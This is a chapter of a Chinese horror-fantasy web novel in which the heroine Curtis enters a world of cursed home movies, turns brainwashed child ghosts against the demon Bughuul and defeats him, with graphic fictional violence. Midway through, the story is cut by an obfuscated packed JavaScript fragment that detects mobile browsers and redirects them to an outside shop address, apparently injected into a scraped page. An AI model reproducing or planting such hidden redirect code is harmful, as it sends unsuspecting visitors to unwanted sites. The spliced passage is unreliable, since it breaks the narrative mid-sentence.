小小的男孩满脸戾色,想抽回球棒,却被科蒂斯轻易阻止。 “去死吧!”亚当怒骂,奋力一抽。 这次球棒夺回来了,可紧随着球棒而来的,是重重砸上他腹部的拳头。 “呕!”亚当胃部翻涌,吐出一口酸水后晕了过去。 科蒂斯接住他,将他和玛莎放在一起。 一抬眼,再熟悉不过的深棕色薄铁皮箱子放置在门前。 火焰舔舐着它,却伤不到它分毫,它就那样摆放着,明晃晃地嘲笑她的天真跟愚蠢。 科蒂斯拿着道吉给的手机,拨通了他的电话。 别墅,她还得再去一趟。 23.第 23 章 道吉来的很快,他如同沉默的骑士,匆匆地来,接上科蒂斯后又匆匆地前往目的地,期间没有多问一句。 科蒂斯抱着铁皮箱子,回想着亚当的状态,曾经被忽略的一点疑惑又重新浮上来。 关于为什么博古要先留下一个孩子的性命,科蒂斯心里有了另样的答案。 来到别墅,科蒂斯偏过头对道吉说:“你先走。” 道吉皱了皱眉,半晌才点头说道:“及时联系。” 等车辆开远,科蒂斯才进去。 门锁不知道被谁修好了,但是却没有上锁,轻轻一推,吱呀一声就开了。 屋内静悄悄,看不到任何人影。 她来到阁楼,看见那面破碎的玻璃窗,清冷的月光直直地照进来,在地板上反射出许多晶莹的碎光。 那些是散落的玻璃碎片,它们没有被清理掉,反而是被人刻意地摆出两个词。 “My butterfly” 我的蝴蝶。 有谁会这么叫她? 科蒂斯只能想到一个人,紧接着字旁边的东西又吸引住她的注意。 那是五盘录像带,上面的标题显示,它们正是自己手中这五盘的后续。 果然。 科蒂斯并不意外。 她的失败自然是说明了,烧毁的不是全部的载体。 可是,为什么博古要把后续送给她? 是对自己力量的强大自信? 还是说这是一个新的陷阱? 科蒂斯捡起录像带,触感冷硬,让她想起搭在肩上的那只手。 一股凉意忽的从脚底窜起,科蒂斯头一次萌生了退意。 现在离开,应该是最明智正确的选择。 反正这个家庭已经被道吉破坏的不完美了,她可以离开这个家,再重新找一户幸福完美的家庭。 “我会永远保护你,科蒂斯。” “我爱你,我的小太阳花。” “嘿,小姑娘,你当然可以尽情选择自己喜欢的东西,在爸爸这里你可以痛快撒娇!” 算了,她到底还是不舍得。 科蒂斯攥紧了录像带,将其放到机器了。 第一盘,画面紧接一家人吊死在歪脖子树,一个穿着洋装的小女孩儿从旁走进,入了画面。 正是斯蒂芬妮,他们一家中失踪的那位小女儿。 斯蒂芬妮手里还拿着一把小锯子,她仰着头瞧着家人的尸体,甚至还上手摸了摸,这不是在悲伤或是祈祷,而是在判断。 她在看是不是全死了。 确定没有活口后,带着红色发箍的金发小女孩儿转身对着镜头,逐步走近,直到距离只剩几步,直到外面的观众能够透过镜头看见她那双阴鸷的眼睛。 女孩儿竖起食指抵住嘴唇:“嘘。” 科蒂斯睫毛抖动一下。 果然,真相和她猜测的一样。 那些消失孩子,不是受害者,而是凶手,是拍摄者。 他们一早就被博古洗脑操纵,成为他衷心的信徒,他们用自己家人帮助他完成艺术,只为了交上一份衷心的投名状。 画面跳动,下一个录像带继续。 同样的,在一家人在车里被烧死后,男孩走到镜头前:“嘘。” 第三个,第四个,第五个…每一个孩子在完成杀人仪式后,都会来到镜头前比上一个嘘的手势。 是要求噤声,要求沉默,要求永远保密。 为了他们伟大的博古先生。 身后传来凉意,科蒂斯转身,就见五个亡魂在她后面站成一排,安静地看着画面。 他们抿紧着嘴唇,眼神狂热,就好像看的不是自己杀害全家的场景,而是某种稀世珍宝。 录像结束,亡魂们一齐扭头,脖颈因此发出格拉格拉的响声。 他们乌黑的面部对着科蒂斯,动作统一地竖起食指:“嘘。” 接着,他们手拉手越过她,走进幕布中。 空白的幕布映衬着他们的身影,在里面,五个亡魂又变回了生前的正常模样。 他们抬起右手,像招财猫那样,朝科蒂斯挥了挥手。 这是…在邀请她? 进去,还是不进去? 科蒂斯拇指用力按压着中指的第一个指节,让自己强行冷静。 “找到他的本体,我们有机会重创他” 她想起了玛拉说过的话。 定了定神,她应了他们的邀请,主动走进幕布中。 宛如穿到了电影里似的,她来到了斯蒂芬妮拍摄的影像中。 女孩儿就在她旁边杀人,可她却对自己毫无察觉。 科蒂斯明白过来,这个斯蒂芬妮也不是真的,只是录影中的那个,在这里,她也还是观众。 上吊、火烧、溺亡、割喉、割草机杀人影像,鲜血铺撒,尖叫声不绝于耳,但更能触动科蒂斯的,是被杀害的全家临死前的情绪。 他们到死也不明白为什么自己亲手养大的乖孩子会杀死自己。 难怪博古说这是艺术。 科蒂斯不得不承认,这份情感的确厚重,令人欲罢不能。 走到割喉影像时,她顺走了男孩行凶的那把刀。 来到影像尽头,这里是一片空白。 白色的空间似是等待着人去涂抹填充。 而在影像和白色空间的交界处,静放着一台超8录像机。 科蒂斯弯腰捡起来,抱在怀里。 等她再抬起头时,一道欣长的身影映入眼帘。 博古放松地站着,贴身的黑色西装没有一丝褶皱,优雅神秘,像是位高贵的绅士。 他朝科蒂斯摊开双手,那是个邀请拥抱的动作。 那张白色的恶魔面具… 不对。 科蒂斯眯起眼睛,锐利的眼神紧盯着博古的脸。 那张脸,没有再被恶魔面具遮住,而是露出原本的模样。 皮肤苍白,脸颊轻微凹陷,双眼是完全的漆黑,看不见瞳孔与瞳仁,连带着整个眼窝也是抹不开的黑色,嘴巴则被黑色的线缝住,延伸出嘴角几厘米,抹消了张开的可能性。 这不是影像,这是博古的本体! 科蒂斯立刻确认了这点。 见女孩儿半晌没有过来,恶魔非常耐心地半蹲下来。 漆黑的眼窝也逐渐淡化,露出一双黝黑深邃的眼睛,里头没有一点光亮,只有深不见底的暗色,却奇异地倒映出科蒂斯的身影。 不对,那身影不太像是娇小的金发女孩儿,更像是个高挑的黑发少女。只不过暗色太浓,让人看不清楚。 博古下半张脸也被小半副正常的白色面具覆盖,面具的白与他皮肤的白浑然一体,看不出太大区别。 他的双臂又往前递了两分,邀请的意思很明显了。 科蒂斯歪了歪头,还是站着不动,没有拿录像机的那只手却慢慢绕到背后。 博古也不急,反而是很有兴趣地照着她的动作也歪了歪头,一样的方向和幅度。 这样他看上去有些像正常人了,但也只是有些。 科蒂斯总算完成了她的动作,她点燃了一支打火机。 轻微的声响立刻引起博古的注意,他低头看去,只见一摊带着颜色的不明液体,从女孩儿脚底一直延伸到看不见的远方。 那是她从烧烤男孩那里顺来的汽油,沿着她的脚步撒了一路。 “你知道么?”女孩儿开口了。“你的艺术烂透了。” 博古顿感不妙。 打火机轻巧落地,瞬间燃起了一条火焰长河,将全部的影像全部包裹! 大火烧的很快,几乎是眨眼间就烧灼了一切。 同一时间,在影像外的现实世界中,那几盘录像带开始自燃。 火焰燃成了博古的怒火,恶魔的力量在眨眼间削弱下去,那张人类的脸无法再维持,迅速扭曲成了魔鬼的恐怖面孔! 博古喉咙里发出类似兽鸣的咕哝声。 他在为女孩儿的不识抬举而愤怒。 尖锐的手指穿破黑色乳胶手套,就要穿过女孩儿的心脏时。 科蒂斯高喊:“妈妈!小姨!” 话音刚落,两个干枯瘦弱的身影忽然出现,一左一右扭住了他的胳膊!控制住他的行动! 而趁这一瞬间的空挡,女孩儿拿出了那把从安睡男孩那里顺来的匕首,反手捅进了博古的心脏! 一瞬间,巨大的疼痛蔓延他的全身。 这怎么可能! 这种来自灵魂深处的痛苦…除了天堂的力量,他不想到其他的。 可是,女孩儿明明杀了人,她应该归属地狱。 特别,真的太特别了。 博古头颅慢慢垂下。 科蒂斯退后一步,手腕发抖。 结束了? 伊迪丝和玛拉不敢轻待,还是控制住博古的身体。 没过几秒,那具躯体在他们眼中慢慢消散。 科蒂斯松了口气。 然而下一秒,沙哑低沉的独特嗓音传来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17458731|200242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“你真的很特别,我的蝴蝶。”博古站在她身后,西装上没有沾染上一点灰尘,更看不出受伤的痕迹。 “这并不能杀死我。”他轻描淡写地说着。 大火还在烧,炙热的红色裹住他,却造不成任何伤害。 那只冰凉的手又按住了科蒂斯的肩头,她动不了了,甚至连超能力都用不了。 伊迪丝和玛拉见状,嘶吼一声冲上前。 可博古却只是抬手,就将两人轻易压制在地,强大的力量碾碎她们的骨头,在地面上留下深深的坑印。 “虽然被破坏了,但这里还是我的世界,我的作品。”博古说着,整个影像都在为之动荡。 他横抱起无法动弹的科蒂斯,转身朝着大火中心走去。 “你知道吗?我的蝴蝶。”博古还在絮絮叨叨地说着,他的嘴没有动,声音更像是从更深处的地方传出的。 “你选择跟我的本体硬碰硬是很聪明的一招,但也很愚蠢。你知道了自己的特别,也利用了这份特别伤到我,可是,你忘了,你也是以本体出现在这个世界…我的世界中,所以哪怕你没有被我说服,我也能强行控制你,带你走。” 博古低着头,黑色的眼窝望着科蒂斯的脸庞:“也就是说,哪怕你破坏了我的载体,令我消失,你也要跟着我一起消失。” “你会永远和我困在一起,我的蝴蝶。” 科蒂斯心绪没什么波动。 事实上,在她选择主动踏入影像世界中那一刻,就想明白了这一点。 但为了她的家人,她选择承担起这份风险。唯一算漏了一点的是,她会连能力也一起被控制,这是她的疏漏。 不过…谁说她要永远和他在一起了? 她还没输呢。 五个亡魂在火中出现,他们忍受着灼烧的痛苦,手牵手来到博古面前。只是这次,他们眼中不再有痴迷,只有纯纯的愤怒。 她赌对了。 果然,博古力量削弱,便会无法维持对孩子们的洗脑掌控。 斯蒂芬妮扛起了科蒂斯掉落的超8录像机…博古本想送给科蒂斯让她来拍摄作品的那台,对准了他的脸。 “笑一个,混球。” 录像带的主角是活不了的。 这是博古自己定下的诅咒,而现在,这份诅咒要在他自己身上延续下去了。 他们围上来,手中抓着当初杀死家人的东西,肆意对博古发泄自己的怒火。 但哪怕博古的力量削弱了,他们也不是他的对手,好在科蒂斯也没有想着靠他们能对付博古。 她只是希望他们能转移一下博古的注意力,好让她恢复行动手,起码恢复对能力的掌控。 那个恶魔还以为自己骗过了所有人,但当自己被抱起的那一瞬间,她就看穿了他的虚张声势,她往他心口捅的那一刀根本就没有愈合。 而现在,趁他病,要他命。 女孩儿心念一动,那把匕首缓缓升起,如离膛的子弹般飞速朝着博古刺去。 寒光一闪,猩红色的血液滴落,博古捂着脖颈难以置信。 而匕首,稳稳落入女孩儿手中。 “这才是艺术。”科蒂斯唇角微提。 博古不甘地嘶吼着,最终随着火焰消散。 此刻,本就摇摇欲坠的影像世界迅速崩塌,所有的场景都在尖啸声中消失。 伊迪丝和玛拉恢复了行动,抱起科蒂斯就往后冲,这里没有出口,只有家庭聚餐那里的入口。 亡魂们也反应过来,同样想往那里跑。 科蒂斯轻飘飘地瞥了他们一眼。 那眼神可不算和善。 他们停下脚步,知道了自己无论如何也逃不过彻底消亡。 但是在这里,他们还有最后的温馨。 五人分头去寻找自己拍摄的影像,当然是前半段。他们回到了家人身边,体验着生前的美好,同燃烧的家人一起,微笑着接受死亡。 科蒂斯这才收回视线。 不论如何,她都不会让这五个亡魂回到现实世界。 不仅仅是因为他们拖亚当下了水,更重要的是,他们是博古卷土重来的隐患。 谁知道他们算不算载体呢? 所以,都死了才干净。 跨出幕布的那一刹那,强烈的白光闪过,科蒂斯趴在伊迪丝肩头,反射性地闭上了眼睛。 意识朦胧中,她感觉到一抹冰凉轻柔划过自己的侧脸,紧接着闷闷的声音传来。 “我们会再见的,我亲爱的小蝴蝶。”